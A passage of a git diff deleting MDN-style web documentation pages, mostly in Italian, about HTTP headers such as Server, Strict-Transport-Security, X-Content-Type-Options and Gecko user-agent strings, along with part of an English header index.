behavior of the request.</dd> - <dt>{{HTTPHeader("If-Match")}}</dt> - <dd>Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.</dd> - <dt>{{HTTPHeader("If-None-Match")}}</dt> - <dd>Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.</dd> - <dt>{{HTTPHeader("If-Modified-Since")}}</dt> - <dd>Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.</dd> - <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> - <dd>Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.</dd> -</dl> - -<h2 id="Connection_management">Connection management</h2> - -<dl> - <dt>{{HTTPHeader("Connection")}}</dt> - <dd>Controls whether the network connection stays open after the current transaction finishes.</dd> - <dt>{{HTTPHeader("Keep-Alive")}}</dt> - <dd>Controls how long a persistent connection should stay open.</dd> -</dl> - -<h2 id="Content_negotiation">Content negotiation</h2> - -<dl> - <dt>{{HTTPHeader("Accept")}}</dt> - <dd>Informs the server about the types of data that can be sent back. It is MIME-type.</dd> - <dt>{{HTTPHeader("Accept-Charset")}}</dt> - <dd>Informs the server about which character set the client is able to understand.</dd> - <dt>{{HTTPHeader("Accept-Encoding")}}</dt> - <dd>Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.</dd> - <dt>{{HTTPHeader("Accept-Language")}}</dt> - <dd>Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).</dd> -</dl> - -<dl> -</dl> - -<h2 id="Controls">Controls</h2> - -<dl> - <dt>{{HTTPHeader("Expect")}}</dt> - <dd>Indicates expectations that need to be fulfilled by the server in order to properly handle the request.</dd> - <dt>{{HTTPHeader("Max-Forwards")}}</dt> - <dd>...</dd> -</dl> - -<h2 id="Cookies">Cookies</h2> - -<dl> - <dt>{{HTTPHeader("Cookie")}}</dt> - <dd>Contains stored <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.</dd> - <dt>{{HTTPHeader("Set-Cookie")}}</dt> - <dd>Send cookies from the server to the user agent.</dd> - <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt> - <dd>Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.</dd> - <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt> - <dd>Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.</dd> - <dt> - <h2 id="CORS">CORS</h2> - </dt> - <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> - <dd>Indicates whether the response can be shared.</dd> - <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> - <dd>Indicates whether the response to the request can be exposed when the credentials flag is true.</dd> - <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> - <dd>Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.</dd> - <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> - <dd>Specifies the method or methods allowed when accessing the resource in response to a preflight request.</dd> - <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> - <dd>Indicates which headers can be exposed as part of the response by listing their names.</dd> - <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> - <dd>Indicates how long the results of a preflight request can be cached.</dd> - <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> - <dd>Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.</dd> - <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> - <dd>Used when issuing a preflight request to let the server know which <a href="/en-US/docs/Web/HTTP/Methods">HTTP method</a> will be used when the actual request is made.</dd> - <dt>{{HTTPHeader("Origin")}}</dt> - <dd>Indicates where a fetch originates from.</dd> -</dl> - -<h2 id="Do_Not_Track">Do Not Track</h2> - -<dl> - <dt>{{HTTPHeader("DNT")}}</dt> - <dd>Used for expressing the user's tracking preference.</dd> - <dt>{{HTTPHeader("Tk")}}</dt> - <dd>Indicates the tracking status that applied to the corresponding request.</dd> -</dl> - -<h2 id="Downloads">Downloads</h2> - -<dl> - <dt>{{HTTPHeader("Content-Disposition")}}</dt> - <dd>Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.</dd> -</dl> - -<h2 id="Message_body_information">Message body information</h2> - -<dl> - <dt>{{HTTPHeader("Content-Length")}}</dt> - <dd>indicates the size of the entity-body, in decimal number of octets, sent to the recipient.</dd> - <dt>{{HTTPHeader("Content-Type")}}</dt> - <dd>Indicates the media type of the resource.</dd> - <dt>{{HTTPHeader("Content-Encoding")}}</dt> - <dd>Used to specify the compression algorithm.</dd> - <dt>{{HTTPHeader("Content-Language")}}</dt> - <dd>Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.</dd> - <dt>{{HTTPHeader("Content-Location")}}</dt> - <dd>Indicates an alternate location for the returned data.</dd> - <dt> - <h2 id="Proxies">Proxies</h2> - </dt> -</dl> - -<dl> - <dt>{{HTTPHeader("Forwarded")}}</dt> - <dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd> - <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> - <dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd> - <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> - <dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd> - <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt> - <dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd> - <dt>{{HTTPHeader("Via")}}</dt> - <dd>Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd> -</dl> - -<h2 id="Redirects">Redirects</h2> - -<dl> - <dt>{{HTTPHeader("Location")}}</dt> - <dd>Indicates the URL to redirect a page to.</dd> -</dl> - -<h2 id="Request_context">Request context</h2> - -<dl> - <dt>{{HTTPHeader("From")}}</dt> - <dd>Contains an Internet email address for a human user who controls the requesting user agent.</dd> - <dt>{{HTTPHeader("Host")}}</dt> - <dd>Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.</dd> - <dt>{{HTTPHeader("Referer")}}</dt> - <dd>The address of the previous web page from which a link to the currently requested page was followed.</dd> - <dt>{{HTTPHeader("Referrer-Policy")}}</dt> - <dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd> - <dt>{{HTTPHeader("User-Agent")}}</dt> - <dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd> -</dl> - -<h2 id="Response_context">Response context</h2> - -<dl> - <dt>{{HTTPHeader("Allow")}}</dt> - <dd>Lists the set of HTTP request methods support by a resource.</dd> - <dt>{{HTTPHeader("Server")}}</dt> - <dd>Contains information about the software used by the origin server to handle the request.</dd> -</dl> - -<h2 id="Range_requests">Range requests</h2> - -<dl> - <dt>{{HTTPHeader("Accept-Ranges")}}</dt> - <dd>Indicates if the server supports range requests and if so, in which unit the range can be expressed.</dd> - <dt>{{HTTPHeader("Range")}}</dt> - <dd>Indicates the part of a document that the server should return.</dd> - <dt>{{HTTPHeader("If-Range")}}</dt> - <dd>Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.</dd> - <dt>{{HTTPHeader("Content-Range")}}</dt> - <dd>Indicates where in a full body message a partial message belongs.</dd> -</dl> - -<h2 id="Security">Security</h2> - -<dl> - <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt> - <dd>Controls resources the user agent is allowed to load for a given page.</dd> - <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt> - <dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd> - <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt> - <dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd> - <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt> - <dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd> -</dl> - -<dl> - <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt> - <dd>Force communication using HTTPS instead of HTTP.</dd> - <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt> - <dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd> -</dl> - -<dl> - <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt> - <dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd> -</dl> - -<dl> - <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt> - <dd>Indicates whether a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd> - <dt>{{HTTPHeader("X-XSS-Protection")}}</dt> - <dd>Enables cross-site scripting filtering.</dd> -</dl> - -<h2 id="Server-sent_events">Server-sent events</h2> - -<dl> - <dt>{{HTTPHeader("Ping-From")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Ping-To")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Last-Event-ID")}}</dt> - <dd>...</dd> -</dl> - -<h2 id="Transfer_coding">Transfer coding</h2> - -<dl> - <dt>{{HTTPHeader("Transfer-Encoding")}}</dt> - <dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd> - <dt>{{HTTPHeader("TE")}}</dt> - <dd>Specifies the transfer encodings the user agent is willing to accept.</dd> - <dt>{{HTTPHeader("Trailer")}}</dt> - <dd>Allows the sender to include additional fields at the end of chunked message.</dd> -</dl> - -<h2 id="WebSockets">WebSockets</h2> - -<dl> - <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt> - <dd>...</dd> -</dl> - -<h2 id="Other">Other</h2> - -<dl> - <dt>{{HTTPHeader("Date")}}</dt> - <dd>Contains the date and time at which the message was originated.</dd> - <dt>{{HTTPHeader("Large-Allocation")}}</dt> - <dd>Tells the browser that the page being loaded is going to want to perform a large allocation.</dd> - <dt>{{HTTPHeader("Link")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Retry-After")}}</dt> - <dd>Indicates how long the user agent should wait before making a follow-up request.</dd> - <dt>{{HTTPHeader("SourceMap")}}</dt> - <dd>Links generated code to a <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>.</dd> - <dt>{{HTTPHeader("Upgrade")}}</dt> - <dd>The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field is RFC 7230, section 6.7</a>. The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Niether party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd> - <dt>{{HTTPHeader("Vary")}}</dt> - <dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd> - <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt> - <dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd> - <dt>{{HTTPHeader("X-Firefox-Spdy")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("X-Requested-With")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("X-UA-Compatible")}}</dt> - <dd>...</dd> -</dl> - -<h2 id="Contributing">Contributing</h2> - -<p>You can help by <a href="/en-US/docs/MDN/Contribute/Howto/Document_an_HTTP_header">writing new entries</a> or improving the existing ones.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li> - <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li> -</ul> diff --git a/files/it/web/http/headers/server/index.html b/files/it/web/http/headers/server/index.html deleted file mode 100644 index 46e9030558..0000000000 --- a/files/it/web/http/headers/server/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Server -slug: Web/HTTP/Headers/Server -tags: - - HTTP - - Riferimento - - header -translation_of: Web/HTTP/Headers/Server ---- -<div>{{HTTPSidebar}}</div> - -<div>L'header <code><strong>Server</strong></code> contiene informazioni sul software utilizzato dal server di origine per gestire la richiesta.</div> - -<p>Valori di Server troppo lunghi e dettagliati dovrebbero essere evitati, poiché potenzialmente rivelano dettagli interni di implementazione che potrebbero rendere (leggermente) più facile per degli hacker trovare e sfruttare falle di sicurezza note.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Tipo header</th> - <td>{{Glossary("Header di risposta")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>no</td> - </tr> - </tbody> -</table> - -<h2 id="Sintassi">Sintassi</h2> - -<pre class="syntaxbox">Server: <prodotto> -</pre> - -<h2 id="Direttive">Direttive</h2> - -<dl> - <dt><prodotto></dt> - <dd>Il nome del software o (sotto)prodotto che gestisce le richieste.</dd> -</dl> - -<h2 id="Esempi">Esempi</h2> - -<pre>Server: Apache/2.4.1 (Unix)</pre> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specifica</th> - <th scope="col">Titolo</th> - </tr> - <tr> - <td>{{RFC("7231", "Server", "7.4.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilità_browser">Compatibilità browser</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.headers.Server")}}</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>{{HTTPHeader("Allow")}}</li> -</ul> diff --git a/files/it/web/http/headers/strict-transport-security/index.html b/files/it/web/http/headers/strict-transport-security/index.html deleted file mode 100644 index cad174395e..0000000000 --- a/files/it/web/http/headers/strict-transport-security/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Strict-Transport-Security -slug: Web/HTTP/Headers/Strict-Transport-Security -tags: - - HSTS - - HTTP - - HTTPS - - Sicurezza - - header -translation_of: Web/HTTP/Headers/Strict-Transport-Security ---- -<div>{{HTTPSidebar}}</div> - -<p>L'header di risposta<strong> </strong>HTTP <strong><code>Strict-Transport-Security</code></strong> (spesso abbreviato come {{Glossary("HSTS")}}) è una funzionalità di sicurezza che consente ad un sito web di comunicare ai browser che tutte le richieste devono essere effettuate usando HTTPS invece di HTTP.</p> - -<p>informare i browser a comunicare esclusivamente usando HTTPS, invece che HTTP.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Header type</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>no</td> - </tr> - </tbody> -</table> - -<h2 id="Sintassi">Sintassi</h2> - -<pre class="syntaxbox">Strict-Transport-Security: max-age=<expire-time> -Strict-Transport-Security: max-age=<expire-time>; includeSubDomains -Strict-Transport-Security: max-age=<expire-time>; preload -</pre> - -<h2 id="Direttive">Direttive</h2> - -<dl> - <dt><code>max-age=<expire-time></code></dt> - <dd>Il tempo, in secondi, per il quale il browser deve ricordare che il sito è accessibile solamente utilizzando HTTPS.</dd> - <dt><code>includeSubDomains</code> {{optional_inline}}</dt> - <dd>Se questo parametro opzionale è specificato, la regola si applica anche a tutti i sotto domini.</dd> - <dt><code>preload</code> {{optional_inline}}</dt> - <dd>Consulta {{anch("Preloading Strict Transport Security")}} per i dettagli. Non è parte delle specifiche.</dd> -</dl> - -<h2 id="Descrizione">Descrizione</h2> - -<p>Se un sito web accetta connessioni attraverso HTTP e reindirizza su HTTPS, l'utente potrebbe inizializzare la connessione non cifrata, prima di essere rediretto, ad esempio se digitasse http://www.foo.com/ o solamente foo.com.</p> - -<p>Questo sistema apre ad un potenziale attacco di tipo man-in-the-middle, dove la redirezione può essere sfruttata per indirizzare l'attaccante ad un sito malevolo invece che alla versione sicura della pagina originale.</p> - -<p>L'header HTTP Strict Transport Security consente ad un sito web di informare il browser che non dovrebbe mai caricare il sito utilizzando HTTP e dovrebbe automaticamente convertire i tentativi di accesso al sito tramite HTTP, in HTTPS.</p> - -<div class="note"><strong>Nota:</strong> L'header <code>Strict-Transport-Security</code> è ignorato dal browser quanto il sito viene caricato tramite HTTP; questo perchè un attaccante potrebbe intercettare la connessione HTTP e iniettare o modificare l'header. Quando il sito è caricato tramite HTTPS senza errori di certificato, il browser saprà che il sito è disponibile tramite HTTPS e rispetterà l'header <code>Strict-Transport-Security</code>.</div> - -<h3 id="Uno_scenario_desempio">Uno scenario d'esempio</h3> - -<p>Effettui l'accesso ad una rete WiFi aperta all'aereoporto e inizi a navigare nel web, visitando il sito della tua banca per controllare il tuo saldo e per pagare un paio di bollette. Sfortunatamente, l'access point che stai utilizzando è in realtà il computer di un hacker che sta intercettando le tue richieste originali in HTTP e reindirizzandoti ad un sito web clone della tua banca invece che al sito originale. Ora tutti i tuoi dati privati sono esposti all'hacker.</p> - -<p>Strict Transport Security risolve questo problema; a patto che tu abbia già visitato in precedenza il sito della tua banca utilizzando HTTPS e a patto che il sito web utilizzi Strict Transport Security, il tuo browser utilizzerà automaticamente HTTPS, che impedisce agli hacker di effettuare un attacco di tipo man-in-the-middle.</p> - -<h3 id="Come_viene_gestito_dal_browser">Come viene gestito dal browser</h3> - -<p>La prima volta che il tuo sito web viene contattato utilizzando HTTPS e restituisce l'header <code>Strict-Transport-Security</code>, il browser registra questa informazione, in modo che tutti i futuri tentativi di caricare il sito attraverso HTTP verranno modificati utilizzando HTTPS.</p> - -<p>Quando il tempo di validità specificato dall'header Strict-Transport-Security scade, il seguente tentativo di caricare il sito web via HTTP procederà normalmente invece che utilizzare automaticamente HTTPS.</p> - -<p>Ogni qual volta l'header<em> Strict-Transport-Security</em> viene inviato al browser, il tempo di validità sarà aggiornato per quel sito, quindi i siti possono aggioranre questa informazione per prevenire la scadenza della validità. Nel caso in cui fosse necessario disabilitare Strict Transport Security, impostare l'attributo max-age a 0 (su una connession HTTPS) porterà immediatamente alla scadenza dell'header stesso, consentendo l'accesso via HTTP.</p> - -<h2 id="Precaricamento_di_Strict_Transport_Security">Precaricamento di Strict Transport Security</h2> - -<p>Google mantiene un <a href="https://hstspreload.appspot.com/">servizio di precaricamento per HSTS</a>. Seguendo le linee guida e inviando con successo il tuo dominio, i browser non si connetteranno mai allo stesso utilizzando connessioni insicure. Sebbene il servizio sia ospitato da Google, tutti i browser hanno dichiarato l'intento di iniziare ad utilizzare (o effettivamente utilizzare) la lista di precaricamento.</p> - -<ul> - <li>Informazioni riguardanti la lista di precaricamento per HSTS in Chrome: <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li> - <li>Informazioni riguardanti la lista di precaricamento per HSTS in Firefox: <a href="https://dxr.mozilla.org/comm-central/source/mozilla/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li> -</ul> - -<h2 id="Esempio">Esempio</h2> - -<p>Tutti i presenti e futuri sottodomini saranno contattati in HTTPS per un <em>max-age</em> di 1 anno. Questo impedisce l'accesso alle pagine o ai sottodomini che possono essere forniti solo tramite HTTP.</p> - -<pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specifica</th> - <th scope="col">Stato</th> - <th scope="col">Commento</th> - </tr> - <tr> - <td>{{SpecName('HSTS')}}</td> - <td>{{Spec2('HSTS')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilità_browser">Compatibilità browser</h2> - -<p class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se volessi contribuire, controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull-request.</p> - -<p>{{Compat("http.headers.Strict-Transport-Security")}}</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li> - <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li> - <li>OWASP Article: <a href="https://www.owasp.org/index.php/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li> - <li>Wikipedia: <a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li> -</ul> diff --git a/files/it/web/http/headers/user-agent/firefox/index.html b/files/it/web/http/headers/user-agent/firefox/index.html deleted file mode 100644 index 2a082b77f6..0000000000 --- a/files/it/web/http/headers/user-agent/firefox/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Gli User Agent di Gecko -slug: Web/HTTP/Headers/User-Agent/Firefox -translation_of: Web/HTTP/Headers/User-Agent/Firefox -original_slug: Gli_User_Agent_di_Gecko ---- -<p>Lista degli user agent rilasciati da Netscape e AOL basati su Gecko™.</p> - -<h3 id="Uso_appropriato" name="Uso_appropriato">Uso appropriato</h3> - -<p>Mozilla consiglia di non utilizzare le stringhe User Agent come mezzo primario di identificazione del browser. Si veda <a href="it/Identificazione_del_browser_e_supporto_cross_browser">Identificazione del browser e supporto cross browser</a> per uno sguardo in profondità ai vari approcci per la rilevazione del browser.</p> - -<p>In particolare, Mozilla raccomanda di utilizzare lo user agent solo per l'identificazione lato server. Se il codice già esistente per l'identificazione lato client utilizza lo user agent, è possibile semplicemente cercare la stringa "Gecko" per sapere se il browser è basato su questo motore.</p> - -<p>Per l'identificazione di un browser che utilizza Gecko, è possibile utilizzare l'oggetto <a href="it/Referenza_DOM/navigator">navigator</a>.</p> - -<h3 id="Gli_User_Agent_di_Gecko" name="Gli_User_Agent_di_Gecko">Gli User Agent di Gecko</h3> - -<p>Si veda <a class="external" href="http://www.mozilla.org/build/revised-user-agent-strings.html">mozilla.org's user-agent strings reference</a> per i valori specifici delle voci<em>Platform</em> ,<em>Security</em> ,<em>OS-or-CPU</em> e<em>Localization</em> .</p> - -<ul> - <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)</li> - <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.2) Gecko/20030208 Netscape/7.02</li> - <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.2) Gecko/20021120 Netscape/7.01</li> - <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.1) Gecko/20020823 Netscape/7.0</li> - <li>Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.1) Gecko/20020730 AOL/7.0</li> - <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1</li> - <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4.2) Gecko/20020220 CS 2000 7.0/7.0 - <ul> - <li>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4.2) Gecko/20020502 CS 2000 7.0/7.0</li> - </ul> - </li> - <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3</li> - <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2</li> - <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1</li> - <li>Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:0.9.2) Gecko/20010726 Netscape6/6.1</li> -</ul> - -<p>Per ulteriori dettagli sulle versioni di Netscape e Mozilla, si veda <a class="external" href="http://www.mozilla.org/releases/cvstags.html">mozilla.org cvstags reference</a>.</p> - -<p>{{ languages( { "ja": "ja/Gecko_User_Agent_Strings", "en": "en/Gecko_User_Agent_Strings", "fr": "fr/Les_cha\u00eenes_UserAgent_de_Gecko" } ) }}</p> diff --git a/files/it/web/http/headers/x-content-type-options/index.html b/files/it/web/http/headers/x-content-type-options/index.html deleted file mode 100644 index ac06e93904..0000000000 --- a/files/it/web/http/headers/x-content-type-options/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: X-Content-Type-Options -slug: Web/HTTP/Headers/X-Content-Type-Options -tags: - - HTTP - - HTTP Header - - Reference - - ResponseHeader -translation_of: Web/HTTP/Headers/X-Content-Type-Options ---- -<p>L'header <code><strong>X-Content-Type-Options</strong></code> delle risposte HTTP è usato per indicare che il <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">tipo MIME</a> descritto dagli header di tipo {{HTTPHeader("Content-Type")}} dovrebbe venire rispettato senza effettuare modifiche. Questo consente di al client di non effettuare lo <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">sniffing del tipo MIME</a>, o, in altre parole, è un modo con cui i webmaster comunicano che "sapevano cosa stessero facendo".</p> - -<p>Questo header è stato introdotto da Microsoft con IE8 per consentire ai webmaster di impedire lo sniffing del tipo MIME, che avveniva comunemente, ma che poteva comportare la conversione di un tipo MIME non eseguibile in uno eseguibile. Da allora altri browser hanno iniziato a supportarlo, nonostante i loro algoritmi di sniffing siano meno aggressivi rispetto al passato.</p> - -<p>I tester della sicurezza dei siti solitamente si aspettano di trovare questo header.</p> - -<p class="blockIndicator note">Nota: <code>X-Content-Type-Options</code> causa il <a href="https://fetch.spec.whatwg.org/#should-response-to-request-be-blocked-due-to-nosniff?">blocco di una richiesta se il suo valore è <code>nosniff</code></a> solo per <a href="https://fetch.spec.whatwg.org/#concept-request-destination">richieste con destinazione</a> di tipo "<code>script</code>" o "<code>style</code>". Tale header causa anche It also <a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md#what-types-of-content-are-protected-by-corb">l'attivazione del Cross-Origin Read Blocking (CORB)</a> per file di tipo HTML, TXT, JSON e XML ( i file SVG <code>image/svg+xml</code> sono esclusi).</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Tipo Header</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>no</td> - </tr> - </tbody> -</table> - -<h2 id="Sintassi">Sintassi</h2> - -<pre class="syntaxbox">X-Content-Type-Options: nosniff -</pre> - -<h2 id="Direttive">Direttive</h2> - -<dl> - <dt><code>nosniff</code></dt> - <br> - <dd>Blocca la richiesta, se è di tipo: - <ul> - <li>"<code>style</code>" e il tipo MIME non è <code>text/css</code>;</li> - <li>"<code>script</code>" e il tipo MIME non appartiene ai <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">tipi MIME JavaScript MIME.</a></li> - </ul> - </dd> - <dd>Abilita il Cross-Origin Read Blockingper i seguenti tipi MIME: - <ul> - <li><code>text/html</code></li> - <li><code>text/plain</code></li> - <li><code>text/json</code>, <code>application/json</code> o qualunque altro tipo avente estensione simile a <code>*/*+json</code></li> - <li><code>text/xml</code>, <code>application/xml</code> o qualunque altro tipo avente estensione simile a <code>*/*+xml</code> ( <code>image/svg+xml</code> esclusa).</li> - </ul> - </dd> -</dl> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td> - <td>{{Spec2("Fetch")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div class="hidden">La tavola di compatibilità in questa pagina è generata usando dati strutturati. Se desideri contribuire allo sviluppo di tali dati visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</div> - 